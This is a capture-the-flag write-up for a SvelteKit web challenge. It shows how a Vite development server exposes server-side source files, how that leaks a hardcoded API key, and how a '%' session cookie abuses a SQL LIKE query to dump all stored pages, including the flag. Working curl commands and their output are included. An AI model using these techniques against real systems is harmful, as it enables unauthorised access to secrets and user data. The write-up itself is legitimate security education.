Public Pages
6 minutes to read
We are given with a web project built with SvelteKit. We also have a Dockerfile
, so let’s use it to run the app:
Source code analysis
SvelteKit manages source code directories as if they were web routes:
$ tree src
src
βββ app.css
βββ app.d.ts
βββ app.html
βββ hooks.server.ts
βββ lib
βΒ Β βββ index.ts
βΒ Β βββ server
βΒ Β βββ db
βΒ Β βββ index.ts
βΒ Β βββ schema.ts
βββ routes
βββ +layout.svelte
βββ +page.server.ts
βββ +page.svelte
βββ api
βΒ Β βββ pages
βΒ Β βββ +server.ts
βββ page
βββ [id]
βββ +page.server.ts
βββ +page.svelte
9 directories, 13 files
The above means that we will have endpoints:
/
/api/server
/page/[id]
If we take a look at routes/api/server/+server.ts
, we will find a redacted API key:
import { error, json } from "@sveltejs/kit";
import type { RequestHandler } from "./$types";
import { db } from "$lib/server/db";
import { pages } from "$lib/server/db/schema";
import { like } from "drizzle-orm";
export const GET: RequestHandler = async ({ url, cookies }) => {
const provided_api_key = String(url.searchParams.get("api_key") ?? "");
const session = String(cookies.get("session"));
const API_KEY = "REDACTED";
if (provided_api_key !== API_KEY) {
error(400, "Missing or wrong API key.");
}
const all_pages = await db
.select()
.from(pages)
.where(like(pages.session, session));
return json(all_pages);
}
There is also a wildcard injection because of the use of the SQL LIKE
statement. The app uses dizzle-orm
to query the database, using a SQLite dialect (dizzle.config.ts
):
import { defineConfig } from 'drizzle-kit';
if (!process.env.DATABASE_URL) throw new Error('DATABASE_URL is not set');
export default defineConfig({
schema: './src/lib/server/db/schema.ts',
dbCredentials: {
url: process.env.DATABASE_URL
},
verbose: true,
strict: true,
dialect: 'sqlite'
});
Therefore, if we set session=%
, we can get all results from table pages
. However, we need to know the API key in order to perform a successful GET request to /api/pages
.
By the way, this is the table schema (src/server/db/schema.ts
):
import { sqliteTable, text } from "drizzle-orm/sqlite-core";
export const pages = sqliteTable("pages", {
id: text("id").primaryKey(),
session: text("session").notNull(),
title: text("title").notNull(),
body: text("body").notNull()
});
When we want to submit a new page, the frontend will perform a POST request to /?/create
, defined in src/+page.server.ts
:
import { type } from "arktype";
import type { Actions, PageServerLoad } from "./$types";
import { db } from "$lib/server/db";
import * as table from "$lib/server/db/schema";
import { fail } from "@sveltejs/kit";
export const load: PageServerLoad = async ({ cookies, fetch }) => {
let session = cookies.get("session");
const API_KEY = "REDACTED";
if (!session || !/^[a-f0-9\-]+$/.test(session)) {
session = crypto.randomUUID();
cookies.set("session", session, { path: "/" });
}
const response = await fetch(
`/api/pages?api_key=${API_KEY}`, {
headers: {
"Cookies": `session=${session}`,
}
}
);
const pages: Page[] = await response.json();
return { pages };
};
const t_page = type({
id: "string.uuid",
title: "0 < string <= 256",
body: "0 < string <= 1024",
session: "string.uuid",
});
type Page = typeof t_page.infer;
export const actions = {
create: async ({ request, cookies }) => {
const formData = await request.formData();
const title = formData.get("title");
const body = formData.get("body");
const session = cookies.get("session");
const page = t_page({
id: crypto.randomUUID(),
title: title,
body: body,
session: session,
});
if (page instanceof type.errors) {
return fail(400, { error: page.summary });
}
try {
await db.insert(table.pages).values(page);
return { success: true };
} catch (error) {
return fail(400, { error: error });
}
}
} satisfies Actions;
Here, we see the load
function, which is called once the page renders on the browser. We can see it calls /api/pages
internally with the API key and our session cookie in order to get all our stored pages.
Moreover, we have the create
action, which simply inserts a new page into the database, performing type checking.
Once we inserted a page, the server will show a link to that note:
And this link contains a UUID, in order to keep some privacy:
And where’s the flag? Well, it is stored in a secret page. It is created at server startup (src/hooks.server.ts
):
import { db } from "$lib/server/db";
import { pages } from "$lib/server/db/schema";
import { env } from "$env/dynamic/private";
let starting = true;
async function startup() {
try {
await db.insert(pages).values({
id: crypto.randomUUID(),
title: "Flag",
body: env.FLAG,
session: crypto.randomUUID()
});
} catch (error) {
console.error(error);
throw new Error("Can't start server, there was an error inserting the flag");
}
}
if (starting) {
await startup();
starting = false;
}
So, the only way we can find the URL that contains the flag is only by accessing /api/pages
with the correct API key and use session=%
to retrieve all pages.
Solution
I spent a lot of time on this challenge, even though I noticed a minor issue on how the challenge was running. If we open the JavaScript console, we will see Vite is connected:
This means that the server is running in development mode. We can check it on the Dockerfile
:
FROM node:23.8.0-alpine
WORKDIR /app
COPY package*.json .
RUN npm install
COPY . .
EXPOSE 5173
CMD ["npm", "run", "dev"]
Where npm run dev
means vite dev
, as can be seen on the package.json
file.
This was pretty weird, and everyone knows that you mustn’t run a development server on a production environment. I was aware of the fact that the browser is able to get source maps and reconstruct the Svelte source code, to make debugging tasks easier:
While looking at the network tab, I saw that the browser is requesting some files:
I never expected this to happen, but I tried to request server-side code, and it worked for src/routes/api/pages/+server.ts
!
However, we cannot get src/routes/pages/[id]/+page.server.ts
, for some reason:
I guess this is related to the fact that server-side in SvelteKit code must end in .server.ts
, and it is not the case of +server.ts
. If the filename was +page.server.ts
, we wouldn’t be able to get the API key, unless it is allowed on the Vite config. So, actually it is not a problem with SvelteKit itself, only that filenames matter. More information about this in the Vite documentation.
Flag
Once we know this, we can just get the API key from the remote instance server and perform the SQL wildcard injection on the session
cookie to get the flag:
$ curl https://hackon-ad2b8a16b0a1-public-pages-1.chals.io/src/routes/api/pages/+server.ts
import { error, json } from "/node_modules/@sveltejs/kit/src/exports/index.js?v=f35a4d1b";
import { db } from "/src/lib/server/db/index.ts";
import { pages } from "/src/lib/server/db/schema.ts";
import { like } from "/node_modules/.vite/deps/drizzle-orm.js?v=f35a4d1b";
export const GET = async ({ url, cookies }) => {
const provided_api_key = String(url.searchParams.get("api_key") ?? "");
const session = String(cookies.get("session"));
const API_KEY = "X565sVUKC3oF2rJ89mi2QDtYaA88cK8ASeLbsSMWyvPZCqIVsl";
if (provided_api_key !== API_KEY) {
error(400, "Missing or wrong API key.");
}
const all_pages = await db.select().from(pages).where(like(pages.session, session));
return json(all_pages);
};
$ curl -b session=% 'https://hackon-ad2b8a16b0a1-public-pages-1.chals.io/api/pages?api_key=X565sVUKC3oF2rJ89mi2QDtYaA88cK8ASeLbsSMWyvPZCqIVsl'
[{"id":"e8e1b36a-e2e0-4690-a3db-577772d08b4d","session":"48babd11-de03-4209-bc8e-ac2f2ce45067","title":"Flag","body":"HackOn{my_s3cr3ts_4r3_publ1c_to0_p2dvLasUm3JJshEiXMnBKrRVgAVoTlja4oBNNOLdkLK3nJxNfz2siCMyWyHBRPFc1qx7FLLu09o50EmM6fA4HZWZKDjI9xgGJg}"}]
curl -sb session=% 'https://hackon-ad2b8a16b0a1-public-pages-1.chals.io/api/pages?api_key=X565sVUKC3oF2rJ89mi2QDtYaA88cK8ASeLbsSMWyvPZCqIVsl' | jq -r '.[0].body'
HackOn{my_s3cr3ts_4r3_publ1c_to0_p2dvLasUm3JJshEiXMnBKrRVgAVoTlja4oBNNOLdkLK3nJxNfz2siCMyWyHBRPFc1qx7FLLu09o50EmM6fA4HZWZKDjI9xgGJg}